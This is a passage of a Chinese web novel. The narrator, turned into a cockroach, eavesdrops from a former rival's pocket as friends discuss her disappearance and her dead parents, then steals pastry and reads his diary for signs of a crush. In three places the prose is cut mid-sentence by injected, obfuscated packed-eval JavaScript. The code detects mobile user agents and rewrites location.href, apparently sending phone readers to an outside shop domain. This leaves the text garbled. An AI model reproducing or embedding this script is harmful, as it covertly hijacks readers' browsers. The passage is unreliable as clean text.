有了酝酿的时间,这一遍发挥的比刚刚好多了。 我一句接着一句,因此不知道是哪一句发挥了最大的功效,击中了许枭的脆弱之处,也可能我的每一句都有足够的攻击力,这是次次考试稳居语文最高分的我应有的水平。 总之他的面具彻底被击碎。别说什么幸灾乐祸了,连一贯的冷静自持都没有在他脸上留下。 他的眉毛和嘴角突然就变成向下长了。 如果不是知道他在外面从来没掉过眼泪,我简直以为他要哭出来了。 这时人终于走得差不多了,值日生关掉了教室的灯。 放学时已是九点,天色当然全黑,没了教室那点光,他的脸对我来说灰蒙蒙的,无从确认眼角那点泛红是不是我看错了。 我想是没有看错,毕竟他低下头,过了很久很久,才闷闷地回了一句话。 “我知道了。” 正如昏暗的夜色里我看不清他的神色,不知道他究竟有没有红了眼眶或是泛了泪花,嘈杂的人声里我也听不清他的声音,不知道他的闷声里有没有鼻音的成分。 希望有。 我扬长而去,留他一个人在原地。 如果说之前只是不和他一起玩,那大概就是从小学那次告状后我开始讨厌他,而在这次事情后变成了这辈子不可能和解的仇人。 我不遗余力地报复了他一段时间。 和人多说说他的坏话、多跟老师打打他的小报告都只是洒洒水,即使偷偷拿走他的习题册藏起来也不够解我心头之恨,因为我还是太胆小且心软了,不仅没有当场撕碎,还过几天就放了回去。 直到百日誓师时,我还宁可给自己多揽一点工作量,也要把他的发言机会给挤掉。 直到中考前最后一次虔诚许愿,我还分了一个愿望给他——我祈祷许枭不能去他想去的高中,大学也不能去足够好的大学,我祈祷他这辈子心想事不成、万事不如意。 这一切愤恨暂时止于初中毕业,因为我们没有升入同一所高中。尽管此后因距离的限制没有了针锋相对的机会,又因年龄的增长逐渐淡忘了当时恨得牙痒痒的感觉,我却始终将他列为此生最恨的仇人、永远讨厌的死敌。 而此时此刻,我藏在这位死敌的口袋里,听他语气苦涩地说—— “我以为这算明恋的。” 12. 联盟 长久的沉默里,我心事重重,苏槿和许枭想必也十分尴尬。 好在苏槿等到了开口说话的机会。 “他们快到了。” “这么早?”许枭听起来有些意外。 我也跟着有点惊讶。本来听苏槿说他们还要下班再赶过来,我以为至少也得一两个小时,没想到这才说了几句话就快到了。 人多了,偷渡就会更容易被发现,所以要赶在他们到齐前转移到苏槿那边。我原本的打算是过一小会儿,等两人放松后再行动,现在计划得提前了。 “林嘉昱说上班也上得心烦意乱的,干脆找借口提前溜出来了。估计谢秋阳也是吧。” 攀爬中的我动作不停,心里却不免触动。如果他们中的任何一个人失踪了——除了许枭——我大概也会这样心神不宁。 许枭:“这样啊,确实很难继续工作。说是不要影响正常生活,其实谁也做不到。” “很难不受影响,”苏槿叹了口气,“我甚至还捡了只小猫回去。” 听到苏槿这句话时,我已经爬到口袋边缘了。口袋边和门襟之间不过一指距离,我后足抓住口袋,前足扒向门襟,头便得以探出一瞬。 也正是这一瞬听到了这句话,我万念俱灰地把头收了回来。 听起来有点难活。 我当过人,所以懂人。我明白他们的做事风格,能够预判他们的下一步行动轨迹,这是我区别于其他蟑螂更容易存活的原因。 比如许枭家的土豆泥,我就知道那是掺了硼酸、送我上路的,所以不会被诱惑。换别的蟑螂来,绝对逃不过这一劫。 然而我没当过猫也没养过猫,所以不懂猫。我只刷到过猫抓来蟑螂放在主人脸上以示报恩或是进贡的故事,因此至少知道,猫会抓蟑螂。 可是猫是如何辨别和追踪蟑螂的呢?靠气味?还是只是喜欢追逐高速移动的东西?我无从得知。 如何在灵活而迅捷的猫爪下逃出生天,就更不是我一只对猫全无了解的新晋蟑螂所能知道的。 苏槿家里有猫,几乎是断绝了我的生路。 怎么会在这个节骨眼上突然养猫? “其实之前就见过它几次了,因为不确定能不能照顾好它,一直没敢抱回家养。” 我知道那只,她和我说过。它已经出现在她家楼下很多次了,我们都很担心它自己在外面能不能活下去。 “昨晚它又出现在我家门口,我想着如果捡回家养,是不是能算积德,秋飒会不会就能回来了……” 她的声音越来越低,我的心里一片柔软。 好吧,好吧。养猫就养猫吧,不去就不去吧,这样也很好。我是一只号称小强、传闻中打不死的蟑螂,它是一只无家可归的小猫。 我不去苏槿家,尚且仍有苟活的余地;它不被捡回去,怎么熬过春寒料峭呢? “她会回来的。”许枭很认真地回答。 他鲜少有这样打断人说话的时候,当然更少有这样对一件不确定的事如此笃信的时候。其内容之肯定、语气之自信,几乎让我怀疑变蟑螂这事儿是他给我施的魔法。 我真的还能回去吗? 这个问题大概同时在我们一螂二人脑海里盘旋,只是我知道的比他们更多,也就更觉希望渺茫。 其实……如果真的再也变不回人,就这样当一只蟑螂也不是不行吧? 反正我也没有妈妈和爸爸可以牵挂了,原本总觉得放心不下的苏槿好像也不是非要我保护。 她也可以自己和人交流,哪怕是近乎于陌生人的许枭,每一步都做得很好,如果我能说话,一定会好好夸夸她。 何况她还拥有了一只小猫,没有我陪着的时候,埋在猫毛里也会好一点吧? 而一只蟑螂的生活好像也没有那么糟。今晚我就要偷到许枭的蛋黄酥吃,之后大不了再跟着他出门偷渡到餐厅一类的地方,总能养活自己。 最重要的是,我不用去上班。 听起来一个人为了可以不上班甘愿当一只蟑螂有些荒谬,可是我不信只有我一个人这么想过。 蟑螂是没有打卡的,我想睡到几点就睡到几点;蟑螂也没有领导,不用焦虑地祈祷他今天不要找到理由为难我;蟑螂更不用接待客户,不用化妆不用洗头更不用卑躬屈膝,不用热脸贴冷屁股也不用被骂了还要赔个笑脸…… 蟑螂不用攒够钱才能拥有自由。 如果我只是一只蟑螂,就不用计算着什么时候攒够上百万才能离职开牌店,我只要有一口饭吃就能活下去,而蟑螂吃饱饭应该并不难。 听起来也不是不能接受。 “许枭?” 一道有点熟悉又有点陌生的女声打断了我的思绪。 “你怎么也在?”她的声音靠近,然后稳定在一旁,听起来很惊讶。 好久不见,谢秋阳。 从我们绝交起,我就很少再如此近距离地听到她说话。大学时不在同一所学校,更是只能从她朋友圈偶尔发的视频里反复寻找她的只言片语,以使自己不要彻底忘掉她的声音。 比起小时候当然成熟了很多,已经是成年女性的音色,好在我仍能从中找出一点熟悉的影子,这让我安心。 “其实我们也没想过你会来。”另一侧是更熟悉的男声,听起来林嘉昱也到了。 谢秋阳的声音便冷了几分:“我确实也没想到还会跟有的人坐在同一张桌子上。” 然而在气氛为此陷入尴尬前,她又像什么都没发生过一样,把话题拉回了正轨。 “报警进度到哪一步了?警察有其他说法吗?你们大概都联系到了哪些人?有新消息吗?除了上次在电话里说的,我还有什么能做的吗?” 她的问题一个接一个砸过来,像上级来巡视进度。 真是一点没变啊。我欣慰地想。 我被生活突如其来的变故压得奄奄一息,谢秋阳却沿着以往的轨道,变成了我们想象中未来的样子。 许枭自发回答起这一串问题:“时间够二十四小时了,警察说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372663|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会去查一下监控,但我们最好还是继续想办法联系她,毕竟是成年人,不排除自己出走的可能。” “我和苏槿先排查了她工作上的同事,效果不大。他们都只知道她节后第一天没来上班,在此之前没有透露过任何请假或离职的意思。” 苏槿的声音小心翼翼地钻了出来。 “我补充,”她显然为自己的插话有点心虚,“秋飒是有离职的打算的,但不是现在。” 我感觉周围突然一静,所处的口袋也朝苏槿发出声音的方位轻轻一荡,几乎可以想象三人纷纷转向苏槿等待下文的样子。 这幅场景肯定对苏槿来说很恐怖,她的声音也更怯了点。 “她一直想攒够钱就开个牌店,所以按计划来看,应该还有个两三年才能离职……虽然经常想辞职,但一想到开牌店,就咬咬牙忍下去了。” “开牌店?”谢秋阳很困惑,“什么牌?她朋友圈去的那种牌店?叔叔阿姨同意吗?” “万智牌吧——”许枭回。 “你还看她朋友圈呢——”林嘉昱问。 “叔叔阿姨已经——”苏槿小声解释。 三人的声音撞在一起,像是各自受了惊扰一般戛然而止。 不知是为了回避林嘉昱的问题,还是对苏槿被打断的话太有兴趣,谢秋阳的下一个问题竟是冲着苏槿去的。 “叔叔阿姨已经怎么了?” 我上一秒注意力还在林嘉昱那句“你还看她朋友圈”上,下一秒已不由自主地心一揪。 为了避免转瞬从值得艳羡落入让人可怜的境地,我有意避开了会使别人知道这回事的场景。然而如今瞒无可瞒,面对我失踪的事态,苏槿自然要把知道的消息和盘托出。 “叔叔阿姨出了点事,已经……已经不在了。” 苏槿理应觉得我不在场,却还是把声音压得很沉,好像在顾及我的情绪一样。 口袋外的世界又沉默了。我想我比苏槿更不能忍受这一次的沉默,因为这并非尴尬之故,而是陷入了近似哀恸的氛围。 我几乎能想象他们先是惊愕而后同情的表情,尤其不能接受这样的表情出现在许枭和谢秋阳脸上。就算全世界都觉得我过得很惨,至少不要让他们俩知道。 “什么时候的事?我记得她大学的时候朋友圈还发过跟妈妈去泉州拍簪花的照片。”谢秋阳问。 “所以她毕业就去工作了,跟这个有关系吗?”许枭问。 我一时不知该先为两人知道了这件事而不自在,还是该惊异于谢秋阳记性如此之好、许枭反应如此敏锐。 这两个问题是同一个答案。 “她毕业前没多久出的事,所以毕业就去工作了。”苏槿显然也一起回答了,并尽可能选择了言简意赅。 然而其中的辛酸意味却很难被掩盖,即使她努力轻描淡写,剩下的三个人仍然陷入了安静。 过了很久很久,我听到林嘉昱的声音。 “她不会……自杀了吧?”他小心翼翼地问。 13. 回家 “不会。”许枭反应最快。 “不可能!”苏槿反应最大。 “你是不是皮痒了?”谢秋阳最知行合一。 因为在我听到她这句话的同时,一声嘹亮的“啪”已从林嘉昱的方向传来。听着是巴掌落在羽绒服上,其声音之沉闷、力道之骇人,在场除了谢秋阳应该无人能做到。 林嘉昱挨了打也没反抗,自知理亏道:“我的我的,我嘴贱了。” 其实嘴贱是他一贯的特性。无论我和谢秋阳、谢秋阳和苏槿、我和许枭之间有多大矛盾,林嘉昱都能在种种恩怨中游刃有余地被所有人喜欢,靠的正是这张荤素不忌的烂嘴。 他的话又多又密,像一只叽叽喳喳的小麻雀,有他在的地方就有热闹。就算偶有几句说错的,也没人会真的怪他。 然而这次显然没有人打圆场。除了谢秋阳那一声巴掌外,甚至没有人再给出更多的反应,他们生硬地把话题转走,又开始重复讨论起刚刚讨论过的问题。 “她同事没有什么消息,都只知道她节后第一天就没去上班——” 这是无意义的重复,但只有知道秋飒处境的我能听得出来。其余几人像是要抓住根救命稻草一样,对这个突然冒出来、能分散点注意力的话题表现出十足的兴趣。 七嘴八舌的无效信息里,又突兀地冒出一句:“她不是那种会自杀的人。” 是谢秋阳的声音,她很笃定。 于是回归沉默。 我发现他们挺有意思的,明明很在意这事,又要装作什么都没发生;看似揭过去了,还要耿耿于怀地提起。 谢秋阳能如此笃定,大概来源于她此前对我长达近十年的了解。许枭和林嘉昱当然也不相信我是会自杀的人,因为他们离我还是有点太远了。 苏槿那一声“不可能”最惊慌,因为只有她完全掌握着我的近况。 六岁的、十二岁的乃至于十八岁的秋飒,的确没有任何自杀的可能。 生命的前二十二年里,我一向觉得自己像一只打不死的蟑螂。别说许枭那点冷脸和刁难了,我从人口密度饱和的某农业省份考入国内顶尖高校,勇敢面对过脑仁缺失的室友、小组作业组员和实习同事,在各类游戏和各大社交媒体上遇到伪人时从不吝啬开麦并无一败绩。 直到真的被生活压垮,才发现过往的顽强全有赖于命运对我还算友善。 如果你问几年前的我会不会自杀,我也会像他们一样笃定地说秋飒不是会自杀的人。但如果你现在问我,我可能真的要思考思考。 “可以具体说说她这几年到底发生什么了吗?”许枭的声音打破了僵局。 “我知道这样有点冒昧,一般情况下我们肯定不会这样要求的。可是现在……大家能多知道一点,讨论的时候可能性就多一点。” “这个时候了,管不了那么多的。”谢秋阳附和道。 “……拜托了。”我听见一向嘻嘻哈哈的林嘉昱发出了没有听过的沉闷声音。 我依稀觉得许枭的心跳又快了点,于是试图向更靠近他的那一侧挪动。这一侧的布料温度确实更高,是他的体温吗? 春江水暖鸭先知,许枭心跳螂先知。为了缓解此时莫名紧张的情绪,我漫无目的地想着诸如此类的废话。 “她本来毕业是该去读研的,”苏槿的声音终于还是响起,“但是大四刚开头,父母就出意外了。” “家里前两年刚换了新房子,有房贷要还,父母的工资一断就没法还了,只能法拍。这几年房价本来就跌了很多,法拍价格更低,再加上利息……还都不够还。” “就没有再接着读研,先出来找工作了。学校虽然好,但毕竟只是本科学历,也不是理工专业,又想多赚点……工作很辛苦。” 苏槿为尽可能少暴露我当时的窘境,选择了一笔带过,我听着这样轻描淡写的描述,竟也没有想象中那么难受。 我以为强行再回忆起那些时候,会把自己重新拉入狼狈的境地,然而或许是时间过去了太久,也或许是我真的在往前走,听完苏槿一口气这么一串话,我像是在听别人的故事。 “还差多少钱?她现在还完了吗?”许枭当先问道。 “还完了,”苏槿这句话出来,我听到两边都传来细微的松了一口气的声音,“但她还是想再趁着年轻多攒点钱,等攒到一百万就去开牌店。我最担心的就是,她最近越来越多次跟我说,攒够这一百万还要好多年,她会死在工位上的……” 那当然是夸张之词。我明白,苏槿也明白,然而放在失踪后回想这话,她显然没法再当玩笑。 其实我已经攒够三十万了。 我租了一个很小、很偏远的单间,每天早上早早起来地铁通勤,平时在公司食堂吃饭,周末外卖也点便宜的,把生活成本压缩到最低。 家里留下的流动资金,加上卖了家具汽车一类零零碎碎的进项,以及刚毕业时周末不加班就去兼职做教培,我很快还清了那笔钱。 还清之后我就不再周末兼职了,不然会更早一跃解千愁。如今工作不到三年,我把钱还上了,还攒出三十来万,离开个牌店过自由日子的生活好像越来越近。 可是我有点受不了了。 开牌店要预留五十万左右的成本投入,为了迎接开头甚至是长期的亏损,能够多点容错,我打算攒够一百万再从公司滚蛋,那就意味着我还要再这样干五年。 我还要继续开门看客户脸色,关门看领导脸色,里外当狗。 原本考研是想跨考到法学的,法硕的书我已经啃完了第一本,希望毕业可以去当个律师,我一直觉得律师很帅。当然啦,我也想过如果没有考上研,就在离家近的地方考公或考编,每天早早下班回家,吃一辈子爸爸妈妈做的饭。 他们前两年要买那套更大的房子,也是做好了这个打算的。 “你要是愿意回家陪我们,当然要给你换个更大的房子呀。以后你要是结婚了,最好能让男方嫁到咱们家吧,那不得有套大点的房子吗?” 当时我打趣妈妈:“招赘呀?老爹是这样嫁到咱们家的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372664|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们三个边围着剥砂糖橘吃边笑,这些话又清晰地在我脑子里浮现。 那些期待中美好的生活终于离我而去了。我没法再读研,我要养活自己,也更没有可能在爸爸妈妈身边,找一个能早早下班回家的工作。 取而代之的是,继续在这个吃人的地方呆五年。 刚刚听苏槿说起最艰难的那段时间都没有什么波动了,如今想起这些,反倒又想掉眼泪。 我伸出手,准备擦眼泪。 前足突然出现在我面前,黑亮黑亮的,吓我一跳。 ……哈哈,原来我是只蟑螂呀。 刚涌上来的难过劲儿顿时消散大半,我看着自己的前足,拿触角戳了戳它,九分无语之余竟有一分放松。 现在的我纵使变成蟑螂、面临着一团糟的处境,可至少短暂逃离了困扰已久的窒息。 口袋外的四个人却没有。他们在听完我的毕业故事后又听了我的牌店梦想,气氛越发凝重,直到离开时都没缓过来。 我老老实实呆在许枭的口袋里,放弃了众目睽睽之下冒着被发现的风险跟苏槿走、并回到她家面对战力未知流浪猫的打算。 明明已经起身道别了,谢秋阳的声音却又传了过来。 “你……要不咱俩加个微信?” 她的语气别别扭扭的,我鲜少听到这样的谢秋阳. 她没有谁的微信?林嘉昱肯定是有的,这小子和谁都能联系上;也不该是许枭,我记得见过她给许枭的朋友圈点赞,总不能是…… “我吗?”苏槿错愕问道。 “不然呢?”谢秋阳话音里的不自在更甚,“还是加个微信吧,你和她现在联系最多,报警那边也是你在跟进,万一有什么事也方便联系。” 我好像听见苏槿嗫嚅着说了些什么,可是许枭已经礼貌地离开,没有参与这场尴尬的对话。我只能听着她们俩的声音越来越远,无从得知后面的走向。 我愤愤地踢了许枭一脚,隔着厚厚的衣服。 又是一阵昏天暗地的移动,我们回到了家里。 进门后许枭没有停下脚步,他继续行走,边抚摸自己。能感知到此事是因为他的手险些摸到了我,我边在心里暗骂他非礼蟑螂,边灵活躲闪。 随即我被狠狠扔向某个地方,摔得头晕眼花。 我迅速意识到这里不是沙发——脚感没有那么柔软,周围环境有点暗,空气中传来洗衣液的清香。 我和我亲爱的落脚之地冲锋衣好像被扔进洗衣机里了。至于许枭刚刚那一串诡异的抚摸,大概是在检查兜里有没有没掏出来的东西。 可不能把我放在洗衣机里洗! 好在许枭没有立刻关门放水,他转身离开,洗手间很快响起了哗啦啦的水声。感恩洁癖回家脱完衣服先洗手的习惯,使我小命得以保住。 我迅速钻了出来,暂且躲在洗衣机后面,而后警惕地环顾四周,打算确认一下有没有其他角度能发现我。 一扭头,和一团为我准备的土豆泥面面相觑。 14. 生存 尽管明知里面掺了硼酸,当土豆泥的香味直往鼻子里钻时,我还是忍不住眼睛放光。 从我来到这具身体开始,已经接近一整天没有吃到东西了。即使蟑螂不吃东西能吃很久很久,可是我会饿呀! 人类的意志终于还是占到了上风,我毅然决然地扭过头去,抵制绝命土豆泥的诱惑。许枭听起来还在洗手,我从洗衣机后闪身出去,准备回到客厅电视柜里我最爱躲藏的角落。 高速移动的路上,我意识到不对。 许枭走之前应该是把土豆泥分散放好了的,否则不会连洗衣机后面都有。如果他检查后发现土豆泥一点没少,岂不是证明家里的蟑螂一口没吃? 土豆泥和蟑螂一起消失,意味着蟑螂消失在下水道,他会放弃对我的追杀;土豆泥没动静,意味着蟑螂只是躲起来了,到时候不知道他又要上什么手段对付我。 想明白这一茬,我当即折返,找到洗衣机侧后方的那团土豆泥,用前足小心翼翼地剜了一块下来。由于故意铲得深了一点,成团的土豆泥上可以轻易看出一块缺口。 然而一般来说,前足剜下食物后就该放进嘴里了,我却不能吃这块土豆泥,而要把它丢到许枭看不见的地方去。我下意识便按照当人时的思路,打算用前足抱着这块土豆泥离开,却发现没有了前足一起走路,我歪歪扭扭、寸步难行。 也不是全无运送食物的办法,含在嘴里是可以的,然而这块土豆泥掺了硼酸,仅仅是放在嘴里一会儿,我也不敢冒险。 深思熟虑之下,我只好用前足和触角配合着把土豆推到头胸部前方,而后低下头,用前胸顶住它,像推小车一样推走。 蟑螂爆改屎壳郎,好奇妙的体验。 我把这块土豆泥一路推回了电视柜处的死角,边留意着许枭的动静。他洗完手在洗手间徘徊片刻,然后在卧室和书房各转了一圈,想必在检查其他地方的土豆泥。 正在我紧赶慢赶藏好的那一刻,他回到了客厅。脚步声向阳台靠近,我探出脑袋,正瞧见他低头看见洗衣机后缺了一块的土豆泥,肉眼可见地松了口气。 许枭整个人放松下来。他终于安安生生坐在了沙发上,抽出一片酒精湿巾,慢条斯理地擦手机。 洗手、擦手机,以我对他的了解和这两天的观察,几乎可以猜到他下一步要去干什么。 “脱衣服。”我在心中默念。 许枭利落地脱掉了上衣,尽情向我展示美好的胴体。一想到此人早对我心向往之,便觉得这样观看有点便宜他了。 他理应向我支付看他裸体的费用。 “扔洗衣机。”我继续预测。 可惜这次猜错了。他把T恤扔进了洗衣机旁的脏衣筐,而后开始脱裤子。我收回脑袋,不准备让他占到更多便宜。 我听到衣物扔进洗衣机的声音,窸窸窣窣一阵动静后,洗衣机的开关键被按响,轰隆隆地开始工作。随即许枭的脚步声从客厅经过。 “洗澡。” 这次我猜对了,浴室很快响起哗啦啦的水声。我又探头去看阳台,看见那件今天穿的T恤仍在脏衣筐里,只有冲锋衣和裤子不见踪影。 看来是直接接触外界的和贴身的衣服分开洗,虽然有洁癖的成分,但也很合理。妈妈就是这样洗衣服的,只有不在她监督下的我会偷懒,把所有衣服一股脑儿扔进洗衣机。 生命安全暂时有了保障,我终于可以开始为今天的晚饭做准备了。 昨晚的蛋黄酥,许枭只咬了一口就放在了一边,如果还在当然最好——已经拆封过又放了一晚上,他想必不会接着吃,我从另一侧偷吃多少都不会被发现。 可惜,茶几上原本放着那颗蛋黄酥的位置空空如也。 没关系,就算是在垃圾桶里我也能接受!反正有外包装,只要垃圾桶里没有什么脏东西……我为自己打气。 却失望地发现,不仅是客厅的垃圾桶,家里所有垃圾桶都换了新的塑料袋,干净得像新买回来的。 ……好你个许枭。 我意识到这是他必然的选择。为了保证家里这只蟑螂吃到的是掺有硼酸的土豆泥,当然要把其他食物垃圾都清走。今天早上出门前他一番动静,想必就是在收拾垃圾袋。 开封过的那袋蛋黄酥显然已经被丢出去了。 唯一的好消息是,桌面上也不见了剩下那些蛋黄酥的包装盒。只要许枭没有丧心病狂到连未拆封的食物都扔出去,就意味着他把它们收了起来。 以他昨晚毫无胃口的样子,收起来应该就不会很快再拿出来。所以即使我偷吃一点,短时间内也不会被发现。 如今我要做的就只有等待。一旦进入黑夜,人类许枭将陷入沉睡,蟑螂秋飒即可为所欲为。 我美滋滋地盘算:前半夜先去洗手间搞点水洗洗前足,防止还有残留的夺命土豆泥污染我的美味蛋黄酥,然后找到蛋黄酥解决饥饱问题,并搬运少许到我的藏身之处,最后收拾好作案现场,力保不被发现;后半夜去翻翻日记,四处巡逻,好好找找许枭暗恋我的证据。 思及此,我抬头看向墙上挂着的那幅画,张牙舞爪的线条便生出了别的意味。 把我小学时期的随手创作保留至今吗?小小许枭,看不出来你还挺深情的。 我发觉自己的心态有了点微妙的转变。一旦接受了许枭早被我的魅力所折服这个设定,便越想越觉得合情合理。 日记本里记下的“C大”,到底是因巧合而和我做出决定的时间相差无几,还是因我从来高调、刚定好C大就煞有介事地发了条朋友圈为誓,于是他为了追随我也定下C大呢? 为什么对我的动向如此了解,明明从无联系却知道我毕业就去工作了?为什么能猜到我想开的牌店是万智牌?他怎么知道我在玩万智牌?又是什么时候知道了我最爱吃的蛋黄酥牌子? 为什么家里挂着我的画?为什么这两天茶饭不思?为什么请假为我奔走—— 没有其他更合理的解释了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372665|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 整天耷拉着个死人脸不知道脑子里在想什么阴损招数的许枭,看着正经冷淡拒人千里之外跟我说话总是一个字一个字往外施舍的许枭,你也很为我着迷吧?装得累死你了吧? 哟哟哟哟哟哟哟~ 不过……那会是什么时候的事? 是从小学第一次见面就被我的领袖气质所打动,此后一直为了不被发现而故作冷淡?还是在某个与我相争的瞬间里被我的光芒四射折服,却因积累的矛盾而不敢表露自己的转变? 以及更重要的……如果这一切都是真的,这份喜欢还在继续吗? 在我早已没有了上学时种种美好的光环、被生活勒索得灰头土脸后,在他听到了我那段日子乃至于现在的狼狈处境、意识到此秋飒早非彼秋飒后,这份喜欢还会继续吗? 我甩了甩触角,把这些杂乱的猜测从脑子里甩出去,不愿进一步深想。 先吃饱饭和弄清楚当年到底有什么误会再说,以后的事,我不想现在烦心。 许枭显然是还在防着我,外卖吃完后收拾得干干净净,不仅当时就丢了出去,还用酒精湿巾把放过外卖盒的桌面擦了一遍。 我闻着香气远去,无声骂得很脏。 夜色终于在我的摩拳擦掌中降临。 许枭显然是这两天累着了,尽管整个人还是一副愁云惨淡的模样,头一沾枕头没多久,呼吸声便逐渐均匀。 我恶趣味地等了一会儿,没能等到他打呼噜,遗憾地踱步离开,前去觅食。 吃饭前要洗手,我得把前足上残留的土豆泥清理干净。本想拧开一点水龙头洗洗,然而一想到蟑螂碰过的水龙头,人类将一无所知地继续使用,便觉一阵恶寒。 己所不欲,勿施于人,我选择放过许枭。 飞向垃圾桶,我找到了里面的酒精湿巾,用干净的边角蹭了蹭前足。 接着便开始爬来爬去地寻找。凭借对人类收纳习惯的了解和蟑螂敏锐的嗅觉,我很快锁定了那个抽屉。 猪油起酥时层层叠叠的油脂,咸蛋黄经过烘烤后析出的、沙沙的鲜香……就是这里。 抽屉严丝合缝地关着,然而人类还是低估了我蟑螂秋飒的智慧。抽屉门的下缘略长于抽屉,因此会与柜体之间有一两毫米的缝隙,我便能从这里撬开。 我效仿曾经顶开笔记本的身法,背部抵住柜体,前足用力前推,使出了浑身最大的力气。 得益于滑轨的流畅丝滑,缝隙被这一推扩大了。这意味着我能整个身体嵌进去,前足就更好使劲。 我再次猛地一用力,抽屉门彻底被推开,那块木板后出现了接近一厘米的缝隙,足够容纳我通过。 功夫不负有心螂,我终于顺利钻进了抽屉。 黑暗变得更浓,我缓了一会儿,视物能力逐渐适应过来。眼前的庞然大物正是我朝思暮想的颜色——蛋黄酥的包装盒。 进盒子和咬开包装袋就简单太多了。很快,我趴在了心爱的蛋黄酥上。 15. 暗恋 酥皮轻易碎裂开来,簌簌往下掉。我没有浪费,把碎屑也送入嘴里。豆沙太过细腻和甜糯,我不得不偶尔停下来稍作清理。咸蛋黄沙沙的,一粒一粒的,和记忆里一模一样。 我是真的饿了,埋头吃了很久。 酥皮被我从一侧掏出一个蜿蜒的洞,吃掉了半枚蛋黄酥的中心部分。正面看起来几乎没被动过,但包装袋毕竟已经啃开了,掩耳盗铃而已。 吃饱后我没有立刻离开,在旁边惬意地休息了一会儿。等感觉没那么撑了,又扒拉了两口。 原本想运点蛋黄酥出去的,现在放弃了这个打算。 一方面,从抽屉那道狭小的缝里钻出去不难,带着东西就很难了。如果强行把缝推开更大,一会儿就会更难合上。 另一方面,如果把食物放在我的藏身之地,万一真招来同类怎么办?我希望许枭家不要出现除我以外的任何蟑螂,就算有,也尽快去吃了硼酸土豆泥死远一点。 总之,我走时一点都没多带。 爬出去后又费了一番力气把抽屉复位,我沿用了当时翻开笔记本的办法——后足撑住地面,背弓起往后顶。 脚有点滑,我如此努力了好几次,终于凭借每次一点点的积累,把抽屉推回去大半。 掰开第一道小缝最难,把小缝推成大缝就轻松很多。因此还剩下的一丁点缝隙我打算留着,以备下次进来。 这点缝隙,若不仔细检查是不会注意到的。何况聪明如我,动的是盒子最里面那枚,就算许枭又心血来潮拿蛋黄酥吃,也不会第一时间发现我的偷吃。 我终于心满意足地离开了。 属于我的夜晚才过了小半,如今得以果腹又没了生命危险,我闲庭信步地漫游在许枭家,只觉说不出的惬意。 接下来要好好看看这个家里有什么了。 我当先飞向客厅的那幅画,上下左右地飞来飞去,试图找到更多信息。然而除了看出其边框很精美、外面的玻璃罩被擦拭得很干净以外,并无其他收获。 于是重又爬进了书房,并熟门熟路地上了桌子、找到了笔记本。上次许枭发现笔记本换了页数后把它合上了,我还得重新撬开。 好在刚吃饱的我有的是力气,加上一回生二回熟,动作比上次快了很多。考虑到这次看完得恢复原样——否则便难再打消许枭的怀疑——我得选择靠前的部分,这样合上本子的时候要翻动的纸张少一些,压力就轻一些。 于是我钻进从前往后数差不多四分之一的位置,采取一撑一顶的老办法,又一次翻开了这本日记。 密密麻麻的黑字出现在我眼前,我一阵头疼。尽管我们蟑螂有夜视能力,但肯定还是不如光线好的时候看东西舒服,何况本来这么近读书就伤眼睛。 蟑螂真的不会近视吗?鄙螂是文科生,对此持怀疑态度,有没有人毕设能研究一下这个? 头疼归头疼,我还是打起了精神,从头开始细细品读。 第一行照旧是数字。 【2015.2.25】 2015年……是初三升高一那年,二月底应该要么在寒假,要么刚开学。下面的字比我之前看见的那几天都要密,这一天他写了足足三行多。 【妈妈让我磕头许愿,求佛祖保佑我中考顺利,可是我有其他愿望,我希望能在一个高中。拜完之后妈妈又给我求了个签,解签的师父说事在人为,努力就会顺利,这是在暗示我吗?】 “我希望能在一个高中”也太不通顺了,这是什么意思?“我希望能和xxx在一个高中”的缩略版吗?还是省略了某个高中的名字?总不能就只是祈祷自己能有高中上吧! 我想应该是“我希望能和秋飒在一个高中”的缩略版。 乌黑发亮的小脸不会变红,蟑螂当久了,我有点失去了人类的羞耻之心。自从心里埋下了此子暗恋亦或是明恋我的心理暗示,便觉得这家里处处都与我有关。 我饶有兴致地继续往下读,试图找到所谓的“暗示”是暗示他什么。 【2015.2.26】 【二倍速跳着看了看何以笙箫默,她这是喜欢学霸还是喜欢律师?罗云熙还是钟汉良那种长相?搞不懂……】 如果不是受身体限制,我应该已经笑出声了。 什么学霸啊律师的,我是喜欢何以琛这个人!什么罗云熙还是钟汉良的长相,帅是一种感觉! 2015年也就是初三那年冬天,我记得很清楚。何以笙箫默播完没多久,我终于在寒假获得了电子产品使用时间的延长,于是追得昏天暗地不知天地为何物,光是那个寒假就刷了两遍。 